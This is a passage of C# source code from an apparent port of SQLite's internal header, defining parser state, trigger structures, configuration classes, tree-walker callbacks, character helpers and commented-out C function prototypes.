= SaveBuf[nested].trigStack;\n        zAuthContext = SaveBuf[nested].zAuthContext;\n#if !SQLITE_OMIT_VIRTUALTABLE\nsArg = SaveBuf[nested].sArg              ;\ndeclareVtab = SaveBuf[nested].declareVtab;\nnVtabLock = SaveBuf[nested].nVtabLock;\napVtabLock = SaveBuf[nested].apVtabLock;\n#endif\n        nHeight = SaveBuf[nested].nHeight;\n        pZombieTab = SaveBuf[nested].pZombieTab;\n        SaveBuf[nested] = null;\n      }\n      public void SaveMembers() // Need to clear all the following variables during each recursion\n      {\n        SaveBuf[nested] = new Parse();\n        SaveBuf[nested].nVar = nVar;\n        SaveBuf[nested].nVarExpr = nVarExpr;\n        SaveBuf[nested].nVarExprAlloc = nVarExprAlloc;\n        SaveBuf[nested].apVarExpr = apVarExpr;\n        SaveBuf[nested].nAlias = nAlias;\n        SaveBuf[nested].nAliasAlloc = nAliasAlloc;\n        SaveBuf[nested].aAlias = aAlias;\n        SaveBuf[nested].explain = explain;\n        SaveBuf[nested].sNameToken = sNameToken;\n        SaveBuf[nested].sLastToken = sLastToken;\n        SaveBuf[nested].zTail = zTail;\n        SaveBuf[nested].pNewTable = pNewTable;\n        SaveBuf[nested].pNewTrigger = pNewTrigger;\n        SaveBuf[nested].trigStack = trigStack;\n        SaveBuf[nested].zAuthContext = zAuthContext;\n#if !SQLITE_OMIT_VIRTUALTABLE\nSaveBuf[nested].sArg = sArg             ;\nSaveBuf[nested].declareVtab = declareVtab;\nSaveBuf[nested].nVtabLock = nVtabLock   ;\nSaveBuf[nested].apVtabLock = apVtabLock ;\n#endif\n        SaveBuf[nested].nHeight = nHeight;\n        SaveBuf[nested].pZombieTab = pZombieTab;\n      }\n    };\n\n#if SQLITE_OMIT_VIRTUALTABLE\n    static bool IN_DECLARE_VTAB = false;//#define IN_DECLARE_VTAB 0\n#else\n//  int ;//#define IN_DECLARE_VTAB (pParse.declareVtab)\n#endif\n\n    /*\n** An instance of the following structure can be declared on a stack and used\n** to save the Parse.zAuthContext value so that it can be restored later.\n*/\n    public class AuthContext\n    {\n      public string zAuthContext;   /* Put saved Parse.zAuthContext here */\n      public Parse pParse;              /* The Parse structure */\n    };\n\n    /*\n    ** Bitfield flags for P5 value in OP_Insert and OP_Delete\n    */\n    //#define OPFLAG_NCHANGE   1    /* Set to update db->nChange */\n    //#define OPFLAG_LASTROWID 2    /* Set to update db->lastRowid */\n    //#define OPFLAG_ISUPDATE  4    /* This OP_Insert is an sql UPDATE */\n    //#define OPFLAG_APPEND    8    /* This is likely to be an append */\n    //#define OPFLAG_USESEEKRESULT 16    /* Try to avoid a seek in BtreeInsert() */\n    const byte OPFLAG_NCHANGE = 1;\n    const byte OPFLAG_LASTROWID = 2;\n    const byte OPFLAG_ISUPDATE = 4;\n    const byte OPFLAG_APPEND = 8;\n    const byte OPFLAG_USESEEKRESULT = 16;\n\n    /*\n    * Each trigger present in the database schema is stored as an instance of\n    * struct Trigger.\n    *\n    * Pointers to instances of struct Trigger are stored in two ways.\n    * 1. In the \"trigHash\" hash table (part of the sqlite3* that represents the\n    *    database). This allows Trigger structures to be retrieved by name.\n    * 2. All triggers associated with a single table form a linked list, using the\n    *    pNext member of struct Trigger. A pointer to the first element of the\n    *    linked list is stored as the \"pTrigger\" member of the associated\n    *    struct Table.\n    *\n    * The \"step_list\" member points to the first element of a linked list\n    * containing the SQL statements specified as the trigger program.\n    */\n    public class Trigger\n    {\n      public string name;             /* The name of the trigger                        */\n      public string table;            /* The table or view to which the trigger applies */\n      public u8 op;                   /* One of TK_DELETE, TK_UPDATE, TK_INSERT         */\n      public u8 tr_tm;                /* One of TRIGGER_BEFORE, TRIGGER_AFTER */\n      public Expr pWhen;              /* The WHEN clause of the expression (may be NULL) */\n      public IdList pColumns;         /* If this is an UPDATE OF <column-list> trigger,\nthe <column-list> is stored here */\n      public Schema pSchema;          /* Schema containing the trigger */\n      public Schema pTabSchema;       /* Schema containing the table */\n      public TriggerStep step_list;   /* Link list of trigger program steps             */\n      public Trigger pNext;           /* Next trigger associated with the table */\n\n      public Trigger Copy()\n      {\n        if ( this == null )\n          return null;\n        else\n        {\n          Trigger cp = (Trigger)MemberwiseClone();\n          if ( pWhen != null ) cp.pWhen = pWhen.Copy();\n          if ( pColumns != null ) cp.pColumns = pColumns.Copy();\n          if ( pSchema != null ) cp.pSchema = pSchema.Copy();\n          if ( pTabSchema != null ) cp.pTabSchema = pTabSchema.Copy();\n          if ( step_list != null ) cp.step_list = step_list.Copy();\n          if ( pNext != null ) cp.pNext = pNext.Copy();\n          return cp;\n        }\n      }\n    };\n\n    /*\n    ** A trigger is either a BEFORE or an AFTER trigger.  The following constants\n    ** determine which.\n    **\n    ** If there are multiple triggers, you might of some BEFORE and some AFTER.\n    ** In that cases, the constants below can be ORed together.\n    */\n    const u8 TRIGGER_BEFORE = 1;//#define TRIGGER_BEFORE  1\n    const u8 TRIGGER_AFTER = 2;//#define TRIGGER_AFTER   2\n\n    /*\n    * An instance of struct TriggerStep is used to store a single SQL statement\n    * that is a part of a trigger-program.\n    *\n    * Instances of struct TriggerStep are stored in a singly linked list (linked\n    * using the \"pNext\" member) referenced by the \"step_list\" member of the\n    * associated struct Trigger instance. The first element of the linked list is\n    * the first step of the trigger-program.\n    *\n    * The \"op\" member indicates whether this is a \"DELETE\", \"INSERT\", \"UPDATE\" or\n    * \"SELECT\" statement. The meanings of the other members is determined by the\n    * value of \"op\" as follows:\n    *\n    * (op == TK_INSERT)\n    * orconf    -> stores the ON CONFLICT algorithm\n    * pSelect   -> If this is an INSERT INTO ... SELECT ... statement, then\n    *              this stores a pointer to the SELECT statement. Otherwise NULL.\n    * target    -> A token holding the quoted name of the table to insert into.\n    * pExprList -> If this is an INSERT INTO ... VALUES ... statement, then\n    *              this stores values to be inserted. Otherwise NULL.\n    * pIdList   -> If this is an INSERT INTO ... (<column-names>) VALUES ...\n    *              statement, then this stores the column-names to be\n    *              inserted into.\n    *\n    * (op == TK_DELETE)\n    * target    -> A token holding the quoted name of the table to delete from.\n    * pWhere    -> The WHERE clause of the DELETE statement if one is specified.\n    *              Otherwise NULL.\n    *\n    * (op == TK_UPDATE)\n    * target    -> A token holding the quoted name of the table to update rows of.\n    * pWhere    -> The WHERE clause of the UPDATE statement if one is specified.\n    *              Otherwise NULL.\n    * pExprList -> A list of the columns to update and the expressions to update\n    *              them to. See sqlite3Update() documentation of \"pChanges\"\n    *              argument.\n    *\n    */\n    public class TriggerStep\n    {\n      public u8 op;               /* One of TK_DELETE, TK_UPDATE, TK_INSERT, TK_SELECT */\n      public u8 orconf;           /* OE_Rollback etc. */\n      public Trigger pTrig;       /* The trigger that this step is a part of */\n      public Select pSelect;      /* SELECT statment or RHS of INSERT INTO .. SELECT ... */\n      public Token target;        /* Target table for DELETE, UPDATE, INSERT */\n      public Expr pWhere;         /* The WHERE clause for DELETE or UPDATE steps */\n      public ExprList pExprList;  /* SET clause for UPDATE.  VALUES clause for INSERT */\n      public IdList pIdList;      /* Column names for INSERT */\n      public TriggerStep pNext;   /* Next in the link-list */\n      public TriggerStep pLast;   /* Last element in link-list. Valid for 1st elem only */\n\n      public TriggerStep()\n      {\n        target = new Token();\n      }\n      public TriggerStep Copy()\n      {\n        if ( this == null )\n          return null;\n        else\n        {\n          TriggerStep cp = (TriggerStep)MemberwiseClone();\n          return cp;\n        }\n      }\n    };\n\n    /*\n    * An instance of struct TriggerStack stores information required during code\n    * generation of a single trigger program. While the trigger program is being\n    * coded, its associated TriggerStack instance is pointed to by the\n    * \"pTriggerStack\" member of the Parse structure.\n    *\n    * The pTab member points to the table that triggers are being coded on. The\n    * newIdx member contains the index of the vdbe cursor that points at the temp\n    * table that stores the new.* references. If new.* references are not valid\n    * for the trigger being coded (for example an ON DELETE trigger), then newIdx\n    * is set to -1. The oldIdx member is analogous to newIdx, for old.* references.\n    *\n    * The ON CONFLICT policy to be used for the trigger program steps is stored\n    * as the orconf member. If this is OE_Default, then the ON CONFLICT clause\n    * specified for individual triggers steps is used.\n    *\n    * struct TriggerStack has a \"pNext\" member, to allow linked lists to be\n    * constructed. When coding nested triggers (triggers fired by other triggers)\n    * each nested trigger stores its parent trigger's TriggerStack as the \"pNext\"\n    * pointer. Once the nested trigger has been coded, the pNext value is restored\n    * to the pTriggerStack member of the Parse stucture and coding of the parent\n    * trigger continues.\n    *\n    * Before a nested trigger is coded, the linked list pointed to by the\n    * pTriggerStack is scanned to ensure that the trigger is not about to be coded\n    * recursively. If this condition is detected, the nested trigger is not coded.\n    */\n    public class TriggerStack\n    {\n      public Table pTab;         /* Table that triggers are currently being coded on */\n      public int newIdx;          /* Index of vdbe cursor to \"new\" temp table */\n      public int oldIdx;          /* Index of vdbe cursor to \"old\" temp table */\n      public u32 newColMask;\n      public u32 oldColMask;\n      public int orconf;          /* Current orconf policy */\n      public int ignoreJump;      /* where to jump to for a RAISE(IGNORE) */\n      public Trigger pTrigger;   /* The trigger currently being coded */\n      public TriggerStack pNext; /* Next trigger down on the trigger stack */\n    };\n\n    /*\n    ** The following structure contains information used by the sqliteFix...\n    ** routines as they walk the parse tree to make database references\n    ** explicit.\n    */\n    //typedef struct DbFixer DbFixer;\n    public class DbFixer\n    {\n      public Parse pParse;       /* The parsing context.  Error messages written here */\n      public string zDb;         /* Make sure all objects are contained in this database */\n      public string zType;       /* Type of the container - used for error messages */\n      public Token pName;        /* Name of the container - used for error messages */\n    };\n\n    /*\n    ** An objected used to accumulate the text of a string where we\n    ** do not necessarily know how big the string will be in the end.\n    */\n    public class StrAccum\n    {\n      public sqlite3 db;          /* Optional database for lookaside.  Can be NULL */\n      public StringBuilder zBase = new StringBuilder();     /* A base allocation.  Not from malloc. */\n      public StringBuilder zText = new StringBuilder();     /* The string collected so far */\n      public int nChar;                                     /* Length of the string so far */\n      public int nAlloc;                                    /* Amount of space allocated in zText */\n      public int mxAlloc;         /* Maximum allowed string length */\n      // Cannot happen under C#\n      //public u8 mallocFailed;     /* Becomes true if any memory allocation fails */\n      public u8 useMalloc;        /* True if zText is enlargeable using realloc */\n      public u8 tooBig;           /* Becomes true if string size exceeds limits */\n      public Mem Context;\n    };\n\n    /*\n    ** A pointer to this structure is used to communicate information\n    ** from sqlite3Init and OP_ParseSchema into the sqlite3InitCallback.\n    */\n    public class InitData\n    {\n      public sqlite3 db;        /* The database being initialized */\n      public int iDb;            /* 0 for main database.  1 for TEMP, 2.. for ATTACHed */\n      public string pzErrMsg;    /* Error message stored here */\n      public int rc;             /* Result code stored here */\n    }\n\n    /*\n    ** Structure containing global configuration data for the SQLite library.\n    **\n    ** This structure also contains some state information.\n    */\n    public class Sqlite3Config\n    {\n      public bool bMemstat;                    /* True to enable memory status */\n      public bool bCoreMutex;                  /* True to enable core mutexing */\n      public bool bFullMutex;                   /* True to enable full mutexing */\n      public int mxStrlen;                     /* Maximum string length */\n      public int szLookaside;                  /* Default lookaside buffer size */\n      public int nLookaside;                   /* Default lookaside buffer count */\n      public sqlite3_mem_methods m;            /* Low-level memory allocation interface */\n      public sqlite3_mutex_methods mutex;      /* Low-level mutex interface */\n      public sqlite3_pcache_methods pcache;    /* Low-level page-cache interface */\n      public byte[] pHeap;                     /* Heap storage space */\n      public int nHeap;                        /* Size of pHeap[] */\n      public int mnReq, mxReq;                 /* Min and max heap requests sizes */\n      public byte[] pScratch;                  /* Scratch memory */\n      public int szScratch;                    /* Size of each scratch buffer */\n      public int nScratch;                     /* Number of scratch buffers */\n      public MemPage pPage;                    /* Page cache memory */\n      public int szPage;                       /* Size of each page in pPage[] */\n      public int nPage;                        /* Number of pages in pPage[] */\n      public int mxParserStack;                /* maximum depth of the parser stack */\n      public bool sharedCacheEnabled;           /* true if shared-cache mode enabled */\n      /* The above might be initialized to non-zero.  The following need to always\n      ** initially be zero, however. */\n      public int isInit;                       /* True after initialization has finished */\n      public int inProgress;                   /* True while initialization in progress */\n      public int isMallocInit;                 /* True after malloc is initialized */\n      public sqlite3_mutex pInitMutex;         /* Mutex used by sqlite3_initialize() */\n      public int nRefInitMutex;                /* Number of users of pInitMutex */\n\n      public Sqlite3Config( int bMemstat, int bCoreMutex, bool bFullMutex, int mxStrlen, int szLookaside, int nLookaside\n      , sqlite3_mem_methods m\n      , sqlite3_mutex_methods mutex\n      , sqlite3_pcache_methods pcache\n      , byte[] pHeap\n      , int nHeap,\n      int mnReq, int mxReq\n      , byte[] pScratch\n      , int szScratch\n      , int nScratch\n      , MemPage pPage\n      , int szPage\n      , int nPage\n      , int mxParserStack\n      , bool sharedCacheEnabled\n      , int isInit\n      , int inProgress\n      , int isMallocInit\n      , sqlite3_mutex pInitMutex\n      , int nRefInitMutex\n      )\n      {\n        this.bMemstat = bMemstat != 0;\n        this.bCoreMutex = bCoreMutex != 0;\n        this.bFullMutex = bFullMutex;\n        this.mxStrlen = mxStrlen;\n        this.szLookaside = szLookaside;\n        this.nLookaside = nLookaside;\n        this.m = m;\n        this.mutex = mutex;\n        this.pcache = pcache;\n        this.pHeap = pHeap;\n        this.nHeap = nHeap;\n        this.mnReq = mnReq;\n        this.mxReq = mxReq;\n        this.pScratch = pScratch;\n        this.szScratch = szScratch;\n        this.nScratch = nScratch;\n        this.pPage = pPage;\n        this.szPage = szPage;\n        this.nPage = nPage;\n        this.mxParserStack = mxParserStack;\n        this.sharedCacheEnabled = sharedCacheEnabled;\n        this.isInit = isInit;\n        this.inProgress = inProgress;\n        this.isMallocInit = isMallocInit;\n        this.pInitMutex = pInitMutex;\n        this.nRefInitMutex = nRefInitMutex;\n      }\n    };\n\n    /*\n    ** Context pointer passed down through the tree-walk.\n    */\n    public class Walker\n    {\n      public dxExprCallback xExprCallback; //)(Walker*, Expr*);     /* Callback for expressions */\n      public dxSelectCallback xSelectCallback; //)(Walker*,Select*);  /* Callback for SELECTs */\n      public Parse pParse;                            /* Parser context.  */\n      public struct uw\n      {                              /* Extra data for callback */\n        public NameContext pNC;                       /* Naming context */\n        public int i;                                 /* Integer value */\n      }\n      public uw u;\n    };\n\n    /* Forward declarations */\n    //int sqlite3WalkExpr(Walker*, Expr*);\n    //int sqlite3WalkExprList(Walker*, ExprList*);\n    //int sqlite3WalkSelect(Walker*, Select*);\n    //int sqlite3WalkSelectExpr(Walker*, Select*);\n    //int sqlite3WalkSelectFrom(Walker*, Select*);\n\n    /*\n    ** Return code from the parse-tree walking primitives and their\n    ** callbacks.\n    */\n    //#define WRC_Continue    0   /* Continue down into children */\n    //#define WRC_Prune       1   /* Omit children but continue walking siblings */\n    //#define WRC_Abort       2   /* Abandon the tree walk */\n    const int WRC_Continue = 0;\n    const int WRC_Prune = 1;\n    const int WRC_Abort = 2;\n\n\n    /*\n    ** Assuming zIn points to the first byte of a UTF-8 character,\n    ** advance zIn to point to the first byte of the next UTF-8 character.\n    */\n    //#define SQLITE_SKIP_UTF8(zIn) {                        \\\n    //  if( (*(zIn++))>=0xc0 ){                              \\\n    //    while( (*zIn & 0xc0)==0x80 ){ zIn++; }             \\\n    //  }                                                    \\\n    //}\n    static void SQLITE_SKIP_UTF8( string zIn, ref int iz )\n    {\n      iz++;\n      if ( iz < zIn.Length && zIn[iz - 1] >= 0xC0 )\n      {\n        while ( iz < zIn.Length && ( zIn[iz] & 0xC0 ) == 0x80 ) { iz++; }\n      }\n    }\n    static void SQLITE_SKIP_UTF8(\n    byte[] zIn, ref int iz )\n    {\n      iz++;\n      if ( iz < zIn.Length && zIn[iz - 1] >= 0xC0 )\n      {\n        while ( iz < zIn.Length && ( zIn[iz] & 0xC0 ) == 0x80 ) { iz++; }\n      }\n    }\n\n    /*\n    ** The SQLITE_CORRUPT_BKPT macro can be either a constant (for production\n    ** builds) or a function call (for debugging).  If it is a function call,\n    ** it allows the operator to set a breakpoint at the spot where database\n    ** corruption is first detected.\n    */\n#if SQLITE_DEBUG || DEBUG\n    static int SQLITE_CORRUPT_BKPT()\n    {\n       return sqlite3Corrupt();\n    }\n#else\n//#define SQLITE_CORRUPT_BKPT SQLITE_CORRUPT\nconst int SQLITE_CORRUPT_BKPT = SQLITE_CORRUPT;\n#endif\n\n    /*\n** The ctype.h header is needed for non-ASCII systems.  It is also\n** needed by FTS3 when FTS3 is included in the amalgamation.\n*/\n    //#if !defined(SQLITE_ASCII) || \\\n    //    (defined(SQLITE_ENABLE_FTS3) && defined(SQLITE_AMALGAMATION))\n    //# include <ctype.h>\n    //#endif\n\n\n    /*\n    ** The following macros mimic the standard library functions toupper(),\n    ** isspace(), isalnum(), isdigit() and isxdigit(), respectively. The\n    ** sqlite versions only work for ASCII characters, regardless of locale.\n    */\n#if SQLITE_ASCII\n    //# define sqlite3Toupper(x)  ((x)&~(sqlite3CtypeMap[(unsigned char)(x)]&0x20))\n\n    //# define sqlite3Isspace(x)   (sqlite3CtypeMap[(unsigned char)(x)]&0x01)\n    static bool sqlite3Isspace( byte x ) { return ( sqlite3CtypeMap[(byte)( x )] & 0x01 ) != 0; }\n    static bool sqlite3Isspace( char x ) { return x < 256 && ( sqlite3CtypeMap[(byte)( x )] & 0x01 ) != 0; }\n\n    //# define sqlite3Isalnum(x)   (sqlite3CtypeMap[(unsigned char)(x)]&0x06)\n    static bool sqlite3Isalnum( byte x ) { return ( sqlite3CtypeMap[(byte)( x )] & 0x06 ) != 0; }\n    static bool sqlite3Isalnum( char x ) { return x < 256 && ( sqlite3CtypeMap[(byte)( x )] & 0x06 ) != 0; }\n\n    //# define sqlite3Isalpha(x)   (sqlite3CtypeMap[(unsigned char)(x)]&0x02)\n\n    //# define sqlite3Isdigit(x)   (sqlite3CtypeMap[(unsigned char)(x)]&0x04)\n    static bool sqlite3Isdigit( byte x ) { return ( sqlite3CtypeMap[( (byte)x )] & 0x04 ) != 0; }\n    static bool sqlite3Isdigit( char x ) { return x < 256 && ( sqlite3CtypeMap[( (byte)x )] & 0x04 ) != 0; }\n\n    //# define sqlite3Isxdigit(x)  (sqlite3CtypeMap[(unsigned char)(x)]&0x08)\n    static bool sqlite3Isxdigit( byte x ) { return ( sqlite3CtypeMap[( (byte)x )] & 0x08 ) != 0; }\n    static bool sqlite3Isxdigit( char x ) { return x < 256 && ( sqlite3CtypeMap[( (byte)x )] & 0x08 ) != 0; }\n\n    //# define sqlite3Tolower(x)   (sqlite3UpperToLower[(unsigned char)(x)])\n#else\n//# define sqlite3Toupper(x)   toupper((unsigned char)(x))\n//# define sqlite3Isspace(x)   isspace((unsigned char)(x))\n//# define sqlite3Isalnum(x)   isalnum((unsigned char)(x))\n//# define sqlite3Isalpha(x)   isalpha((unsigned char)(x))\n//# define sqlite3Isdigit(x)   isdigit((unsigned char)(x))\n//# define sqlite3Isxdigit(x)  isxdigit((unsigned char)(x))\n//# define sqlite3Tolower(x)   tolower((unsigned char)(x))\n#endif\n\n    /*\n** Internal function prototypes\n*/\n    //int sqlite3StrICmp(const char *, const char *);\n    //int sqlite3IsNumber(const char*, int*, u8);\n    //int sqlite3Strlen30(const char*);\n    //#define sqlite3StrNICmp sqlite3_strnicmp\n\n    //int sqlite3MallocInit(void);\n    //void sqlite3MallocEnd(void);\n    //void *sqlite3Malloc(int);\n    //void *sqlite3MallocZero(int);\n    //void *sqlite3DbMallocZero(sqlite3*, int);\n    //void *sqlite3DbMallocRaw(sqlite3*, int);\n    //char *sqlite3DbStrDup(sqlite3*,const char*);\n    //char *sqlite3DbStrNDup(sqlite3*,const char*, int);\n    //void *sqlite3Realloc(void*, int);\n    //void *sqlite3DbReallocOrFree(sqlite3 *, void *, int);\n    //void *sqlite3DbRealloc(sqlite3 *, void *, int);\n    //void //sqlite3DbFree(sqlite3*, void*);\n    //int sqlite3MallocSize(void*);\n    //int sqlite3DbMallocSize(sqlite3*, void*);\n    //void *sqlite3ScratchMalloc(int);\n    //void //sqlite3ScratchFree(void*);\n    //void *sqlite3PageMalloc(int);\n    //void sqlite3PageFree(void*);\n    //void sqlite3MemSetDefault(void);\n    //void sqlite3BenignMallocHooks(void (*)(void), void (*)(void));\n    //int sqlite3MemoryAlarm(void (*)(void*, sqlite3_int64, int), void*, sqlite3_int64);\n\n    /*\n    ** On systems with ample stack space and that support alloca(), make\n    ** use of alloca() to obtain space for large automatic objects.  By default,\n    ** obtain space from malloc().\n    **\n    ** The alloca() routine never returns NULL.  This will cause code paths\n    ** that deal with sqlite3StackAlloc() failures to be unreachable.\n    */\n#if SQLITE_USE_ALLOCA\n//# define sqlite3StackAllocRaw(D,N)   alloca(N)\n//# define sqlite3StackAllocZero(D,N)  memset(alloca(N), 0, N)\n//# define //sqlite3StackFree(D,P)\n#else\n#if FALSE\n    //# define sqlite3StackAllocRaw(D,N)   sqlite3DbMallocRaw(D,N)\n    static void sqlite3StackAllocRaw( sqlite3 D, int N ) { sqlite3DbMallocRaw( D, N ); }\n    //# define sqlite3StackAllocZero(D,N)  sqlite3DbMallocZero(D,N)\n    static void sqlite3StackAllocZero( sqlite3 D, int N ) { sqlite3DbMallocZero( D, N ); }\n    //# define //sqlite3StackFree(D,P)       //sqlite3DbFree(D,P)\n    static void //sqlite3StackFree( sqlite3 D, object P ) {sqlite3DbFree( D, P ); }\n#endif\n#endif\n\n#if SQLITE_ENABLE_MEMSYS3\nconst sqlite3_mem_methods *sqlite3MemGetMemsys3(void);\n#endif\n#if SQLITE_ENABLE_MEMSYS5\nconst sqlite3_mem_methods *sqlite3MemGetMemsys5(void);\n#endif\n\n#if !SQLITE_MUTEX_OMIT\n//  sqlite3_mutex_methods *sqlite3DefaultMutex(void);\n//  sqlite3_mutex *sqlite3MutexAlloc(int);\n//  int sqlite3MutexInit(void);\n//  int sqlite3MutexEnd(void);\n#endif\n\n    //int sqlite3StatusValue(int);\n    //void sqlite3StatusAdd(int, int);\n    //void sqlite3StatusSet(int, int);\n\n    //int sqlite3IsNaN(double);\n\n    //void sqlite3VXPrintf(StrAccum*, int, const char*, va_list);\n    //char *sqlite3MPrintf(sqlite3*,const char*, ...);\n    //char *sqlite3VMPrintf(sqlite3*,const char*, va_list);\n    //char *sqlite3MAppendf(sqlite3*,char*,const char*,...);\n#if SQLITE_TEST || SQLITE_DEBUG\n    //  void sqlite3DebugPrintf(const char*, ...);\n#endif\n#if SQLITE_TEST\n    //  void *sqlite3TestTextToPtr(const char*);\n#endif\n    //void sqlite3SetString(char **, sqlite3*, const char*, ...);\n    //void sqlite3ErrorMsg(Parse*, const char*, ...);\n    //void sqlite3ErrorClear(Parse*);\n    //int sqlite3Dequote(char*);\n    //int sqlite3KeywordCode(const unsigned char*, int);\n    //int sqlite3RunParser(Parse*, const char*, char **);\n    //void sqlite3FinishCoding(Parse*);\n    //int sqlite3GetTempReg(Parse*);\n    //void sqlite3ReleaseTempReg(Parse*,int);\n    //int sqlite3GetTempRange(Parse*,int);\n    //void sqlite3ReleaseTempRange(Parse*,int,int);\n    //Expr *sqlite3ExprAlloc(sqlite3*,int,const Token*,int);\n    //Expr *sqlite3Expr(sqlite3*,int,const char*);\n    //void sqlite3ExprAttachSubtrees(sqlite3*,Expr*,Expr*,Expr*);\n    //Expr *sqlite3PExpr(Parse*, int, Expr*, Expr*, const Token*);\n    //Expr *sqlite3ExprAnd(sqlite3*,Expr*, Expr*);\n    //Expr *sqlite3ExprFunction(Parse*,ExprList*, Token*);\n    //void sqlite3ExprAssignVarNumber(Parse*, Expr*);\n    //void sqlite3ExprClear(sqlite3*, Expr*);\n    //void sqlite3ExprDelete(sqlite3*, Expr*);\n    //ExprList *sqlite3ExprListAppend(Parse*,ExprList*,Expr*);\n    //void sqlite3ExprListSetName(Parse*,ExprList*,Token*,int);\n    //void sqlite3ExprListSetSpan(Parse*,ExprList*,ExprSpan*);\n    //void sqlite3ExprListDelete(sqlite3*, ExprList*);\n    //int sqlite3Init(sqlite3*, char**);\n    //int sqlite3InitCallback(void*, int, char**, char**);\n    //void sqlite3Pragma(Parse*,Token*,Token*,Token*,int);\n    //void sqlite3ResetInternalSchema(sqlite3*, int);\n    //void sqlite3BeginParse(Parse*,int);\n    //void sqlite3CommitInternalChanges(sqlite3*);\n    //Table *sqlite3ResultSetOfSelect(Parse*,Select*);\n    //void sqlite3OpenMasterTable(Parse *, int);\n    //void sqlite3StartTable(Parse*,Token*,Token*,int,int,int,int);\n    //void sqlite3AddColumn(Parse*,Token*);\n    //void sqlite3AddNotNull(Parse*, int);\n    //void sqlite3AddPrimaryKey(Parse*, ExprList*, int, int, int);\n    //void sqlite3AddCheckConstraint(Parse*, Expr*);\n    //void sqlite3AddColumnType(Parse*,Token*);\n    //void sqlite3AddDefaultValue(Parse*,ExprSpan*);\n    //void sqlite3AddCollateType(Parse*, Token*);\n    //void sqlite3EndTable(Parse*,Token*,Token*,Select*);\n\n    //Bitvec *sqlite3BitvecCreate(u32);\n    //int sqlite3BitvecTest(Bitvec*, u32);\n    //int sqlite3BitvecSet(Bitvec*, u32);\n    //void sqlite3BitvecClear(Bitvec*, u32, void*);\n    //void sqlite3BitvecDestroy(Bitvec*);\n    //u32 sqlite3BitvecSize(Bitvec*);\n    //int sqlite3BitvecBuiltinTest(int,int*);\n\n    //RowSet *sqlite3RowSetInit(sqlite3*, void*, unsigned int);\n    //void sqlite3RowSetClear(RowSet*);\n    //void sqlite3RowSetInsert(RowSet*, i64);\n    //int sqlite3RowSetTest(RowSet*, u8 iBatch, i64);\n    //int sqlite3RowSetNext(RowSet*, i64*);\n\n    //void sqlite3CreateView(Parse*,Token*,Token*,Token*,Select*,int,int);\n\n    //#if !(SQLITE_OMIT_VIEW) || !SQLITE_OMIT_VIRTUALTABLE)\n    //  int sqlite3ViewGetColumnNames(Parse*,Table*);\n    //#else\n    //# define sqlite3ViewGetColumnNames(A,B) 0\n    //#endif\n\n    //void sqlite3DropTable(Parse*, SrcList*, int, int);\n    //void sqlite3DeleteTable(Table*);\n    //#if ! SQLITE_OMIT_AUTOINCREMENT\n    //  void sqlite3AutoincrementBegin(Parse *pParse);\n    //  void sqlite3AutoincrementEnd(Parse *pParse);\n    //#else\n    //# define sqlite3AutoincrementBegin(X)\n    //# define sqlite3AutoincrementEnd(X)\n    //#endif\n    //void sqlite3Insert(Parse*, SrcList*, ExprList*, Select*, IdList*, int);\n    //void *sqlite3ArrayAllocate(sqlite3*,void*,int,int,int*,int*,int*);\n    //IdList *sqlite3IdListAppend(sqlite3*, IdList*, Token*);\n    //int sqlite3IdListIndex(IdList*,const char*);\n    //SrcList *sqlite3SrcListEnlarge(sqlite3*, SrcList*, int, int);\n    //SrcList *sqlite3SrcListAppend(sqlite3*, SrcList*, Token*, Token*);\n    //SrcList *sqlite3SrcListAppendFromTerm(Parse*, SrcList*, Token*, Token*,\n    //                                      Token*, Select*, Expr*, IdList*);\n    //void sqlite3SrcListIndexedBy(Parse *, SrcList *, Token *);\n    //int sqlite3IndexedByLookup(Parse *, struct SrcList_item *);\n    //void sqlite3SrcListShiftJoinType(SrcList*);\n    //void sqlite3SrcListAssignCursors(Parse*, SrcList*);\n    //void sqlite3IdListDelete(sqlite3*, IdList*);\n    //void sqlite3SrcListDelete(sqlite3*, SrcList*);\n    //void sqlite3CreateIndex(Parse*,Token*,Token*,SrcList*,ExprList*,int,Token*,\n    //                        Token*, int, int);\n    //void sqlite3DropIndex(Parse*, SrcList*, int);\n    //int sqlite3Select(Parse*, Select*, SelectDest*);\n    //Select *sqlite3SelectNew(Parse*,ExprList*,SrcList*,Expr*,ExprList*,\n    //                         Expr*,ExprList*,int,Expr*,Expr*);\n    //void sqlite3SelectDelete(sqlite3*, Select*);\n    //Table *sqlite3SrcListLookup(Parse*, SrcList*);\n    //int sqlite3IsReadOnly(Parse*, Table*, int);\n    //void sqlite3OpenTable(Parse*, int iCur, int iDb, Table*, int);\n#if (SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !(SQLITE_OMIT_SUBQUERY)\n//Expr *sqlite3LimitWhere(Parse *, SrcList *, Expr *, ExprList *, Expr *, Expr *, char *);\n#endif\n    //void sqlite3DeleteFrom(Parse*, SrcList*, Expr*);\n    //void sqlite3Update(Parse*, SrcList*, ExprList*, Expr*, int);\n    //WhereInfo *sqlite3WhereBegin(Parse*, SrcList*, Expr*, ExprList**, u16);\n    //void sqlite3WhereEnd(WhereInfo*);\n    //int sqlite3ExprCodeGetColumn(Parse*, Table*, int, int, int, int);\n    //void sqlite3ExprCodeMove(Parse*, int, int, int);\n    //void sqlite3ExprCodeCopy(Parse*, int, int, int);\n    //void sqlite3ExprCacheStore(Parse*, int, int, int);\n    //void sqlite3ExprCachePush(Parse*);\n    //void sqlite3ExprCachePop(Parse*, int);\n    //void sqlite3ExprCacheRemove(Parse*, int);\n    //void sqlite3ExprCacheClear(Parse*);\n    //void sqlite3ExprCacheAffinityChange(Parse*, int, int);\n    //void sqlite3ExprHardCopy(Parse*,int,int);\n    //int sqlite3ExprCode(Parse*, Expr*, int);\n    //int sqlite3ExprCodeTemp(Parse*, Expr*, int*);\n    //int sqlite3ExprCodeTarget(Parse*, Expr*, int);\n    //int sqlite3ExprCodeAndCache(Parse*, Expr*, int);\n    //void sqlite3ExprCodeConstants(Parse*, Expr*);\n    //int sqlite3ExprCodeExprList(Parse*, ExprList*, int, int);\n    //void sqlite3ExprIfTrue(Parse*, Expr*, int, int);\n    //void sqlite3ExprIfFalse(Parse*, Expr*, int, int);\n    //Table *sqlite3FindTable(sqlite3*,const char*, const char*);\n    //Table *sqlite3LocateTable(Parse*,int isView,const char*, const char*);\n    //Index *sqlite3FindIndex(sqlite3*,const char*, const char*);\n    //void sqlite3UnlinkAndDeleteTable(sqlite3*,int,const char*);\n    //void sqlite3UnlinkAndDeleteIndex(sqlite3*,int,const char*);\n    //void sqlite3Vacuum(Parse*);\n    //int sqlite3RunVacuum(char**, sqlite3*);\n    //char 